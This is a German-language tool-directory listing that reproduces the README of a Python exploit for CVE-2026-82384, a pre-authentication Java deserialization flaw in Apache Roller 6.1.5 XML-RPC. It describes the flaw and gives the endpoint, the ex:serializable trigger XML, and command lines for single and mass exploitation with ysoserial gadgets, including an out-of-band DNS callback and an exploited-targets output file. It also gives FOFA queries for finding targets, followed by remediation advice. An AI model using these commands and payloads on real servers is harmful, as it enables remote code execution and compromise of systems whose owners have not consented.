Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-82384 — Python-PoC für CVE-2026-82384: erkennt und nutzt unauthentifizierte XML-RPC-Java-Deserialisierung in Apache Roller 6.1.5 über ysoserial-Payloads aus, mit Massen-Scanning. | Kitploit
Tools/GitHubGitHub/murrez/cve-2026-82384
AufklärungPayload-GenerierungSchwachstellenanalyseExploitationWebanwendungs-ExploitationInformationsbeschaffungPenetrationstestsRemote-Access-Tool
GitHubmurrez/cve-2026-82384

CVE-2026-82384

Python-PoC für CVE-2026-82384: erkennt und nutzt unauthentifizierte XML-RPC-Java-Deserialisierung in Apache Roller 6.1.5 über ysoserial-Payloads aus, mit Massen-Scanning.

12vor 1 MonatNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Repository anzeigen
Teilen

CVE-2026-82384 — Apache Roller 6.1.5 XML-RPC-Deserialisierung

Python-3-PoC für CVE-2026-82384 — nicht authentifizierte Java-Deserialisierung im veralteten XML-RPC-Servlet von Apache Roller 6.1.5.

PoC-Seite: https://pocbit.org/pocs/cve-2026-82384


Was ist Apache Roller?

Apache Roller ist ein Java-basierter Blog-Server für mehrere Benutzer (historisch „Roller Weblogger“). Bereitstellungen sind üblicherweise Tomcat-WARs mit einer UI unter /roller-ui/ und veralteten Blogger-/MetaWeblog-APIs über XML-RPC unter /roller-services/xmlrpc. Roller 6.1.5 (Sep. 2025) behob ein unabhängiges Session-Problem (CVE-2025-24859), ließ aber den XML-RPC-Stack in einer für diese CVE gefährlichen Konfiguration zurück.


Die Schwachstelle in einfachen Worten

CVE-2026-82384 ist eine Deserialisierung nicht vertrauenswürdiger Daten (CWE-502) am XML-RPC-Endpunkt:

  1. Rollers XmlRpcServlet ist mit enabledForExtensions=true konfiguriert, sodass die Apache-ws-xmlrpc-Bibliothek herstellerdefinierte Erweiterungstypen akzeptiert, einschließlich ex:serializable — ein base64-kodiertes serialisiertes Java-Objekt.
  2. Diese Verarbeitung erfolgt während der HTTP-Anfrageverarbeitung, bevor die Authentifizierung von Blogger/MetaWeblog geprüft wird.
  3. Das Servlet-Mapping ist immer in web.xml vorhanden, sodass der Parser auch dann ausgeführt wird, wenn Administratoren XML-RPC in den Roller-Einstellungen deaktivieren (webservices.enableXmlRpc=false). Das Deaktivieren der Funktion in der UI schließt diesen Pre-Auth-Pfad auf 6.1.5 nicht.
  4. Ein entfernter Angreifer sendet einen manipulierten XML-RPC-Body; der Server deserialisiert die Bytes des Angreifers → Remote-Code-Ausführung in der JVM (dieselbe Fehlerklasse wie das historische CVE-2016-5003 in ws-xmlrpc / Archiva).

Betroffen: nur Apache Roller 6.1.5 (gemäß Herstellerhinweis).
Behoben: Apache Roller 6.1.6+ (PR #171): enabledForExtensions=false, und Anfragen werden abgelehnt, wenn XML-RPC global deaktiviert ist.

MetrikWert
CVSS 3.19.8 Kritisch — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
AuthentifizierungKeine für das Deserialisierungs-Primitiv
Entdeckern0mi1k
HerstellerApache Software Foundation

Angriffsfläche

ElementDetail
EndpunktPOST /roller-services/xmlrpc (auch /roller/roller-services/xmlrpc versuchen)
Content-Typetext/xml
Auslöser<ex:serializable xmlns:ex="http://ws.apache.org/xmlrpc/namespaces/extensions">BASE64</ex:serializable> innerhalb eines methodCall
Gadget-ChainAbhängig vom Classpath (Commons Collections usw.); oft mit ysoserial erzeugt
AuswirkungRCE als der Tomcat/Roller-Betriebssystembenutzer; typischerweise vollständige Kontrolle über Blog-Daten und Pivot auf den Host

Was dieses PoC tut

ModusVerhalten
checkFindet Roller-Fingerabdrücke, lokalisiert die XML-RPC-URL, optional --probe-deser (sendet ex:serializable-Probe-Bytes)
exploitSendet Ihre serialisierte Payload (Datei, Base64 oder ysoserial über --ysoserial-jar)
Mass--list targets.txt --mode exploit -j N — parallele Massenverarbeitung mit JSONL + exploited.txt

PoCbit-Felder: pocbit, pocbit_catalog, pocbit_page in jeder JSONL-Zeile.
CLI: farbiges Banner, [HIT]- / [EXPLOIT]- / [FAIL]-Zeilen (deaktivierbar mit --no-color).

Dieses Repository liefert keine funktionsfähigen RCE-Gadget-Chains (classpath-abhängig). Für echte Ausnutzung stellen Sie ysoserial-Ausgaben oder eine verifizierte Payload-Datei bereit.


Voraussetzungen

pip install -r requirements.txt

Für RCE (nicht nur Erkennung):

  • Java + ysoserial JAR auf der Angreifer-Maschine
  • Beispiel-Gadgets: URLDNS (Out-of-Band-Nachweis), CommonsCollections6 (Befehlsausführung auf typischem Roller-Classpath — zuerst im Labor verifizieren)

Verwendung

Erkennung

python poc.py -u https://blog.example.com --mode check
python poc.py -u https://blog.example.com --mode check --probe-deser
python poc.py --list targets.example.txt --mode check -j 12

Exploit (einzelnes Ziel)

# OOB DNS proof (replace with your collaborator)
python poc.py -u https://blog.example.com --mode exploit \
  --ysoserial-jar ysoserial.jar --ysoserial-gadget URLDNS \
  --ysoserial-cmd pocbit.your-oast.domain

# Pre-generated base64 payload file
python poc.py -u https://blog.example.com --mode exploit --payload-file chain.b64

# Raw ysoserial bytes on disk
python poc.py -u https://blog.example.com --mode exploit --payload-file payload.bin

Massen-Bulk-Exploit

python poc.py --list targets.txt --mode exploit \
  --ysoserial-jar ysoserial.jar --ysoserial-gadget URLDNS \
  --ysoserial-cmd oast.example.com -j 10

Ausgaben:

  • cve_2026_82384_exploit.jsonl — JSON pro Ziel
  • exploited.txt — Ziele, bei denen die Payload akzeptiert / OOB gesendet wurde

Beispielhafte XML-RPC-Struktur (zu Lehrzwecken)

<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
  <methodName>system.listMethods</methodName>
  <params>
    <param>
      <value>
        <ex:serializable xmlns:ex="http://ws.apache.org/xmlrpc/namespaces/extensions">
          BASE64_JAVA_SERIALIZED_OBJECT
        </ex:serializable>
      </value>
    </param>
  </params>
</methodCall>

Auf 6.1.5 kann das Parsen dieses Bodys deserialisieren, bevor ein Methoden-Handler Anmeldedaten durchsetzt.


Behebung

  1. Upgrade auf Roller 6.1.6+ sofort durchführen.
  2. Bis zum Patch: /roller-services/xmlrpc am Reverse Proxy / WAF blockieren (nur Admin-IPs per Allowlist zulassen).
  3. Inventarisierung: nach Apache Roller, /roller-ui/, Blog-Hosts auf Port 8080/8443 suchen.
  4. Verwandte Probleme derselben Version: CVE-2026-82377 (XML-RPC-Authz), CVE-2026-82386 (XXE beim Bookmark-Import) — ebenfalls in 6.1.6 behoben.

FOFA / Hunting (Beispiele)

body="Apache Roller"
body="/roller-ui/"
body="/roller-services/xmlrpc"
title="Roller"

Bestätigen Sie Version 6.1.5 anhand der Fußzeile, der About-Seite oder der WEB-INF / Release Notes, bevor Sie sie als ausnutzbar behandeln.


Rechtliches

Nur auf Systemen verwenden, für deren Test Sie autorisiert sind. Deserialisierungs-Exploits können Daten zerstören und bei Missbrauch gegen Gesetze verstoßen.

Tool herunterladen